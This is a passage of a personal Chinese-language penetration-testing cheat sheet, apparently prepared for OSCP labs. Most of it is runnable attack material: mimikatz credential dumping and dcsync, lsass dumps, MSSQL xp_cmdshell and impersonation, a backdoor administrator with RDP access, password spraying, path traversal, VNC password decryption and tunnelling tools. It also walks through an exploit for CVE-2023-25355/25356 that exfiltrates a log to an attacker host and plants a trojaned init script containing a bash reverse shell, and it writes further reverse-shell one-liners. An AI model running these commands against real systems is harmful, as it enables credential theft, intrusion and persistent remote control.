# 启用 xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()

# 执行系统命令
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()

# 当前用户
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()

# 当前用户是否是 sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()

# 当前用户的数据库权限
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()

# 服务器级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'SERVER')"; $cmd.ExecuteScalar()

# 数据库级别权限
$cmd.CommandText = "SELECT * FROM fn_my_permissions(NULL, 'DATABASE')"; $cmd.ExecuteScalar()

# SQL Server 版本
$cmd.CommandText = "SELECT @@version"; $cmd.ExecuteScalar()

# 服务器名称
$cmd.CommandText = "SELECT @@SERVERNAME"; $cmd.ExecuteScalar()

# 当前数据库
$cmd.CommandText = "SELECT DB_NAME()"; $cmd.ExecuteScalar()
mssql提权技巧

这是MSSQL的权限提升利用,通过IMPERSONATE权限实现:

首先检查能否模拟其他用户:

-- 查询可以模拟的用户
SELECT distinct b.name 
FROM sys.server_permissions a 
INNER JOIN sys.server_principals b 
ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE'

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

发现可以模拟hrappdb-reader用户
执行模拟:
EXECUTE AS LOGIN = 'hrappdb-reader'

模拟成功后就获得了hrappdb-reader的权限,可以访问hrappdb数据库

64.mimikatz

# mimikatz 一键执行命令
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe /c "privilege::debug" /c "token::elevate" /c "lsadump::sam"
mimikatz "privilege::debug" "token::elevate" "lsadump::sam"

# 所有的凭证提取
 lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache
mimikatz.exe "lsadump::sam" "privilege::debug" "sekurlsa::msv" "lsadump::secrets" "lsadump::cache" "exit"
# 提取所有登录凭证
mimikatz.exe "token::elevate" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 或者专门提取域管理员的
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords /user:administrator" "exit"

# 提取可能存在的账号密码
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"





# 如果是管理员 可以尝试获取当前计算机上的票据
通过sekurlsa模块(从lsass内存):

# 从运行的lsass进程
sekurlsa::tickets              # 查看所有票据
sekurlsa::tickets /export      # 导出所有票据 

mimikatz.exe "privilege::debug" "sekurlsa::tickets" "exit"

# 从dump文件
sekurlsa::minidump lsass.dmp   # 加载dump
sekurlsa::tickets              # 查看dump中票据

通过kerberos模块(从当前会话):

powershellCopy# 查看票据
kerberos::list                 # 列出当前会话票据
kerberos::tgt                  # 查看当前TGT
kerberos::purge               # 清除所有票据(你说的这个)

# 导出票据
kerberos::list /export        # 导出所有票据
# 默认导出为.kirbi文件

# 票据操作
kerberos::ptt ticket.kirbi    # 注入票据(Pass The Ticket)



# 域控制器同步dcsync
.\mimikatz.exe
lsadump::dcsync /user:DC01\web_svc
lsadump::dcsync /user:corp\Administrator

65.域管登录历史

# 查看域管理员的登录会话
query user /server:localhost

# 检查注册表中的登录历史
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

# 创建 lsass dump
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa minidump lsass.dmp

# 然后用 Mimikatz 分析
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

66.域内信息收集

# 查看域控制器
nltest /dclist:medtech.com

# 或者
nslookup -type=SRV _ldap._tcp.medtech.com
nslookup -type=SRV _gc._tcp.medtech.com

67.ligolo-ng

https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3

攻击机
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

靶机
.\agent.exe -connect 192.168.45.184:11601 -ignore-cert

配置路由
sudo ip route add 10.10.174.0/24 dev ligolo

session          # 显示所有可用会话
session list     # 列出所有会话
session <ID>     # 选择特定会话ifconfig         # 显示网络接口配置
info            # 显示当前会话信息
listener_list   # 显示所有监听器
bashCopystart           # 启动所选会话
stop            # 停止当前会话

68.windows添加用户到远程桌面组

#打开远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  

cmd /c net user gesila Admin@123 /add
cmd /c net localgroup Administrators gesila /add
cmd /c net localgroup "Remote Desktop Users" gesila /add

# 域格式如下
xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard   /drive:data,/data /workarea

# 本地如下
xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea

引用文件这样就行
xfreerdp file.rdp /d:skylark /u:kiosk /p:'XEwUS^9R2Gwt8O914'

69.windows_history

C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

70.powershell

$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

Enter-PSSession -ComputerName CLIENT02 -Credential $cred
Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred

New-PSSession -ComputerName CLIENT02 -Credential $cred
New-PSSession -ComputerName 172.16.131.83 -Credential $cred
# 1. 使用会话ID进入已创建的会话
Enter-PSSession -Session (Get-PSSession -Id 18)

# 2. 或者使用ComputerName直接创建并进入新会话 
Enter-PSSession -ComputerName CLIENT02 -Credential $cred

# 列出所有会话
Get-PSSession

# 删除会话
Remove-PSSession -Id 18

# 断开会话但不删除
Disconnect-PSSession -Id 18

# 重新连接会话
Connect-PSSession -Id 18
# 
icacls .\auditTracker.exe
# 看具体权限
Get-Acl .\auditTracker.exe
# 以高权限运行
sc.exe start audtiTracker
sc.exe qc auditTracker
# 查看文件是什么权限运行的
Start-Process .\auditTracker.exe -Verb RunAs
Get-Service auditTracker | Select-Object *

# 查看服务
 Get-Service "auditTracker"
 
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select TaskPath,TaskName

schtasks /query /tn "任务名" /fo LIST /v
$task = Get-ScheduledTask -TaskName "任务名"
$task | Select *

71.域内枚举

这两个我用了很久了 但是有些版本的有些参数不一样 就全记一下吧

crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success
# crackmapexec延时有问题 用jitter会报错 还是用netexec好点
netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5

有时候Connection Error: Error while reading from remote 需要手动验证一下

# 整体参数 可指定域名
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success


# https://github.com/ropnop/kerbrute/releases
# 用于Kerberos爆破
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
可以放到域成员主机上跑

72.漏洞其他用法

# 读取当前运行该程序用户身份
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status
http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ

keepass2john Database.kdbx > 1.txt
keepassxc Database.kdbx
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt

73.imap

imap命令

# 先登录
a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR

# 列出所有邮箱
a002 LIST "" "*"

# 选择收件箱
a003 SELECT INBOX

# 查看邮件
a004 FETCH 1:* FULL

# 查看状态
a005 STATUS INBOX (MESSAGES)

# 列出所有文件夹
a006 LSUB "" "*"

74.Library-MS File Attack

https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262

https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav

75.postgres

https://www.cnblogs.com/renhaoblog/p/15035230.html

psql -h localhost -p 5432 -U postgres

# 指定数据库名称(默认是 postgres 数据库)
sudo /usr/bin/psql postgres

# 或者
sudo -u postgres /usr/bin/psql postgres

# 或者使用连接字符串
sudo /usr/bin/psql "postgresql:///postgres?user=postgres"

CREATE ROLE root WITH SUPERUSER LOGIN;

sudo psql -U postgres

76.windows服务

# CMD命令
sc query              # 查询所有服务的基本信息
sc query state=all    # 查询所有状态的服务
sc qc <服务名>        # 查询特定服务的详细配置信息


sc stop <服务名>
sc start <服务名>

发现服务进程
tasklist | findstr GPGService
关闭它
taskkill /F /IM GPGService.exe


# PowerShell命令
Get-Service                      # 查看所有服务
Get-Service | Where-Object {$_.Status -eq "Running"}    # 查看正在运行的服务
Get-Service -Name "服务名"       # 查看特定服务

# 列出所有服务并筛选关键信息
sc query state= all | find /i "SERVICE_NAME"         # 先获取所有服务名
# 然后遍历每个服务名查询配置
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "BINARY_PATH_NAME"

# 或者查找以LocalSystem运行的服务
for /f "tokens=4 delims=: " %i in ('sc query state^= all ^| find /i "service_name"') do @sc qc %i | find /i "SERVICE_START_NAME"


Get-WmiObject win32_service | Select-Object Name, PathName, StartName


sc query type= service | findstr /i "dev"

77.Windows DLL/EXE 搜索顺序漏洞利用

当服务路径中包含空格且没有使用引号时,Windows会按照以下顺序查找可执行文件:

CopyC:\Skylar.exe
C:\Skylar\Development.exe              # 这就是为什么你的利用成功了!
C:\Skylark\Development Binaries.exe
C:\Skylark\Development Binaries 01.exe
C:\Skylark\Development Binaries 01\DevService.exe

在你的案例中:


服务路径是:C:\Skylark\Development Binaries 01\???????.exe
Windows遇到无法解析的文件名(?????)时,会按照上述顺序查找
你在C:\Skylark\放置了Development.exe
这正好匹配了搜索顺序中的第二个位置


漏洞的关键点:


路径中包含空格
路径没有用引号括起来
Windows的自动路径解析机制

78.tftp(udp)

之前在vulnhub上用过这个服务 但是没做笔记 这个特点就是没有dir之类的命令 文件全靠猜

# 进入tftp交互模式
tftp 192.168.214.222 69

# 在交互模式中:
binary      # 设置二进制传输模式
get file    # 下载文件
put file    # 上传文件

# 下载文件
atftp -g -r filename 192.168.214.222 69

# 上传文件
atftp -p -l localfile 192.168.214.222 69

# 下载文件
tftp 192.168.214.222 -c get remotefile.txt

# 上传文件
tftp 192.168.214.222 -c put localfile.txt

配置文件
cat /etc/xinetd.d/tftp


https://nmap.org/nsedoc/scripts/tftp-enum.html
nmap -sVU -p69 --script tftp-enum 192.168.214.222
/usr/share/metasploit-framework/data/wordlists/tftp.txt

79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP

很有意思的一个漏洞利用,期间非常非常坎坷,我在discord和claude的帮助下才勉强完成这一部分,可能是因为全部搞完了才觉得有意思,在我学习的过程中我感觉人都要傻了,在漏洞利用的过程中我整个人都是懵的,卡在这里共计一天半,基本上是做一部分就要思考,而且路上一直不行,一直不行,明明还不是特别了解漏洞利用原理就一直复现失败,好在最后解决了,并且如果一帆风顺或许我不会记这么牢也不会深刻了解这个东西,这个应用,在google的路上全都是cve编号,没有人搞这个东西。

先说关键点 https://sploitus.com/exploit?id=1337DAY-ID-38254 #这个博客是唯一讲解了这个漏洞原理的

这个博客我没有搜到过,我在discord里面找,他们给的链接都已经被删除,找不到原文,这是其他网站的备份,我已经下载到本地了,这也是我路上的一个误区,discord给的链接一直访问不了,我本以为就是这样,后续才发现是被删除了。

这个博客贯穿这个漏洞,基本上想要的东西都在里面,如果想自动化利用可以试试https://github.com/AlexLinov/sipXcom-RCE

我正是因为自动化不行才来做这个的,接下来解析复现这个漏洞。(因为OSCP保密协议我打码会非常多)

首先得有个凭证,低权限用户的就行,至于在哪里拿得看自己

确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行 这也是关键点 我不清楚这是否有影响但至少我全改好了之后就能成功了

确保能登陆。运行pidgin 记得以非root权限加上目标ip+port运行 这也是关键点 我不清楚这是否有影响但至少我全改好了之后就能成功了

编辑

编辑

登录低权限用户,在那个博客里介绍的是可以自行添加用户 也就是点击下面的那个create this new account on the server,这里我没有用那个

如果要走代理的话 不用多余配置 多余配置proxy反而会卡住 可以提示一下 就是在退出后重新打开的时候 会卡住 没有任何反应 rm -rf ~/.purple/ 运行这个命令就行 删除配置文件 再打开就好了

遇到弹窗就点accept同意就行了 不然进不去 还有的就是 Domain是一定要填的 而且对应的domain和ip要加到host里面 不然可能索引不到服务器

编辑

绿灯才算连接成功 其他情况肯定是配置出问题了 网络软件都有可能

编辑

编辑

填这里就行 主要是聊天添加好友 填自己都行 填完add加进去

编辑

添加完啥都没有 看上面的图 全部勾上 我这里初始化是只勾了两个 只有这样才能看到所有用户 包括没同意好友离线之类的

编辑

双击图标聊天框就出来了 构造payload

首先监听本地80端口

nc -lvnp 80



聊天框输入下面的东西

@call abc  -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc


 

编辑

不出意外就如上图 里面是存在密码的 原理就是里面存了聊天记录 可能有些有意思的东西 比如管理员的密码 看就行了

找到了管理员密码就可以构造exp了 原理就是他用了一个操作用来覆盖/etc/init.d/openfire 当重启sipXopenfire的时候会重新加载配置文件 就会调用里面的sh 导致RCE 有一行有反弹shell的命令 记得改ip/port

#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#
 
#####
# Begin setup work
#####
 
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
 
# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi
 
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
 
# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi
 
# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"
 
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"
 
# -----------------------------------------------------------------
 
# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi
 
# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"
 
# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"
 
if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi
 
# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"
 
# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"
 
# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
 
# Export any necessary variables
export JAVA_HOME JAVACMD
 
# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""
 
#####
# End setup work
#####
 
start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR
 
PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi
 
# Start daemons.
echo -n "Starting openfire: "
 
rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?
 
echo
 
[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire
 
sleep 1 # allows prompt to return
cd $OLD_PWD
}
 
stop() {
# Stop daemons.
echo -n "Shutting down openfire: "
 
PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi
 
RETVAL=$?
echo
 
[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}
 
restart() {
stop
sleep 10 # give it a few moments to shut down
start
}
 
condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}
 
status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}
 
findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}
 
# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac
 
exit $RETVAL

保存这个文件在本地 比如openfire.txt 接下来重写/etc/init.d/openfire文件

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy

开一个http服务就行

编辑

然后在聊天框输入上面的命令 就能下载成功并覆盖openfire文件

那么最后就只差重启服务了 讲一下我的路 这里包括那个博客也没有将在哪 全靠摸索 记得按照上面的exp监听好端口

编辑

编辑

算是非常详细的教程了 discord里面有些人都说这是一个有趣的box 我也觉得是这样的 当然是在打完之后才会觉得有趣 在重启之后 等一段时间 就会收到root的shell了

80.tcpdump

tcpdump -i any udp -w capture.pcap

81.bsd

目录传统上用于存放临时用户或访客用户的主目录
/usr/guest/

82.windows命令行

#权限

首先获取文件所有权:
takeown /f "C:\Users\k.smith\.ssh\id_rsa"

修改文件权限以获得完全控制:
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F

强制修改权限:
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F

83.socat

使用更详细的监听命令:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT

或者尝试记录通信内容:

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"

也可以尝试与它交互:

bashCopy# 监听并显示所有收到的数据(十六进制格式)
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT



将本地的端口代理出来
# 在目标机器上将本地的8888端口 转移到0.0.0.0的33333上
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888

# 反向搭建隧道
# 在攻击机器上:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# 在攻击机器上:
socat TCP:攻击机IP:33333 TCP:127.0.0.1:8888

84.VNC密码

https://www.cnblogs.com/fczlm/p/17759610.html

VNC密码
配置路径:c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini,解密工具:https://github.com/jeroennijhof/vncpwd

TightVNC
TightVNC的加密后密码存在注册表里内,需要管理员权限

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword 
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

解密工具:https://github.com/jeroennijhof/vncpwd

RealVNC
ealVNC的加密后密码存在注册表里内,需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具:https://github.com/jeroennijhof/vncpwd




首先创建一个包含原始十六进制的文件:



bashCopy# 使用 xxd 创建二进制文件
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# 然后尝试解密
./vncpwd vnc.txt



或者尝试使用 MSF 的方法:
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)



或者尝试另一个版本的 vncpwd:
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3


vncviewer 192.168.214.220:5900
# 输入密码:R3S3+rcH  

85.chisel

服务端监听(攻击机)

# 服务端基本语法
./chisel server --reverse -p 8000



客户端连接(靶机)
# 基本连接
./chisel client 攻击机IP:8000 R:本地监听端口:目标IP:目标端口

常用命令示例:
反向代理单个端口
# 服务端
./chisel server --reverse -p 8000
# 客户端 
./chisel client 攻击机IP:8000 R:8001:目标IP:目标端口



SOCKS代理
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:socks

86.echo的一些性质

# echo如果写的是双引号 会导致#!/bin/bash无法写入
# '单引号没问题

echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh


# 需要转义需要加-e 
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh

echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh

87.dnscat(dns隧道)

# 第一步:在Kali攻击机上
# 启动dnscat2服务器端
dnscat2-server feline.corp   # feline.corp是我们自己指定的域名,随意命名即可

# 第二步:在目标机器上
# 上传dnscat_exercise_client到目标机器
# 执行客户端连接到我们的服务器
./dnscat_exercise_client feline.corp  # 使用相同的域名
# 一般上面在公网适合 不过目前一般都是内网 所以指定dns服务器到我们的kali就行
# 在目标机器上:
# 使用--dns参数指定服务器IP和端口
./dnscat --dns server=<kali机器的IP>,port=53

# 或者更完整的命令:
./dnscat --dns server=<kali机器的IP>,port=53 --secret=<密钥值>

# 第三步:在Kali的dnscat2服务器端操作
# 查看连接状态
dnscat2> windows

# 切换到会话
dnscat2> window -i 1

# 设置端口转发
command (目标机器名) 1> listen 0.0.0.0:4455 192.168.176.7:445

88.windows域内详细信息收集

LDAP本地搜索
PowerView
教程 https://powersploit.readthedocs.io/en/latest/Recon/

# 导入
Import-Module .\PowerView.ps1

# 域的基本信息
PS C:\Tools> Get-NetDomain

Forest                  : corp.com
DomainControllers       : {DC1.corp.com}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC1.corp.com
RidRoleOwner            : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name                    : corp.com


# Get-NetUser获取域中所有用户的列表
PS C:\Tools> Get-NetUser

logoncount             : 113
iscriticalsystemobject : True
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 9/13/2022 1:03:47 AM
name                   : Administrator
objectsid              : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname         : Administrator
admincount             : 1
codepage               : 0
samaccounttype         : USER_OBJECT
accountexpires         : NEVER
cn                     : Administrator
whenchanged            : 9/13/2022 8:03:47 AM
instancetype           : 4
usncreated             : 8196
objectguid             : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff             : 12/31/1600 4:00:00 PM
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata  : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof               : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
                         Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon              : 9/14/2022 2:37:15 AM
...


# 输出表明cn属性保存了用户的用户名。让我们将输出通过管道传输到select中并选择cn属性
PS C:\Tools> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen


# 取出其他属性
Get-NetUser | select cn,pwdlastset,lastlogon


# 类似地,我们可以使用Get-NetGroup来枚举组
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug

# Get-NetGroup调查销售部门并将输出导入到select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}
# 获得更多信息

# Get-NetComputer PowerView 命令来枚举域中的计算机对象
Get-NetComputer

# 筛选 这个方法可以获得所有域内主机的主机名和系统版本
Get-NetComputer | select operatingsystem,dnshostname


# 以stephanie身份运行(挺重要的 在实战中)
PS C:\> Find-LocalAdminAccess

# 底层实际在做的事:
# 1. 尝试连接机器A的SCM -> 失败(没权限)
# 2. 尝试连接机器B的SCM -> 失败(没权限)
# 3. 尝试连接client74的SCM -> 成功!(说明stephanie是client74的本地管理员)
# 4. 继续尝试其他机器...

# 最终输出
client74.corp.com  # 表示对这台机器有管理员权限

# 查找域内主机的任何的已经登录用户 但是需要的权限很多
# 正常就如下 权限不够 需要当前用户能访问目标机器且为管理员才行
# 或者目标机器上对SrvsvcSessionInfo注册表项的访问权限
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

# 在上面的结果中 实际上对client74有管理员权限 所以应该找这个client74
Get-NetSession -ComputerName client74
# 上面提到了正常来说需要的权限更多 太麻烦了 下面这个不会
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools 可以去官网上下载套件
# 原理就是基于远程注册表服务来查询
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
     <unknown time>             CORP\jeff
Unable to query resource logons

# 当我们查到有一个不同的用户登陆了上去 并且呢 我们有他的管理员权限
# 那么主要操作就是解析lsass
# 域内SPN枚举
setspn -L iis_service

# 导入PowerView
# 对服务账户进行信息收集
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com
# 域内枚举对象权限
# 理论 下面是权限列表
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group


GenericAll(完全控制):
最高级别的权限
对对象有完全的控制权
可以做任何操作:修改属性、重设密码、添加到组等
实际例子:如果对用户有GenericAll权限,可以直接重置其密码


GenericWrite(写入权限):
能修改对象的大部分属性
不能修改敏感属性(如密码)
例子:可以修改用户的scriptPath属性来实现代码执行


WriteOwner(修改所有者):
可以更改对象的所有者
修改为自己后就能获得完全控制
例子:把组的所有者改为自己,然后就能控制这个组


WriteDACL(修改访问控制):
可以修改对象的访问控制列表
能添加/删除权限
例子:给自己添加GenericAll权限


AllExtendedRights(扩展权限):
包括密码重置等特殊操作权限
不包括常规的属性修改权限
例子:可以重置用户密码


ForceChangePassword(强制修改密码):
专门用于修改密码的权限
不需要知道原密码
例子:直接重置目标用户的密码


Self (Self-Membership)(自我成员身份):
可以将自己添加到组中
只能添加自己
例子:把自己加入到高权限组

# 这里有官方的
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks

简单的利用方法
GenericAll权限利用:
powershellCopy# 如果对用户UserA有GenericAll权限
net user UserA NewPass123! /domain  # 直接改密码

GenericWrite权限利用:
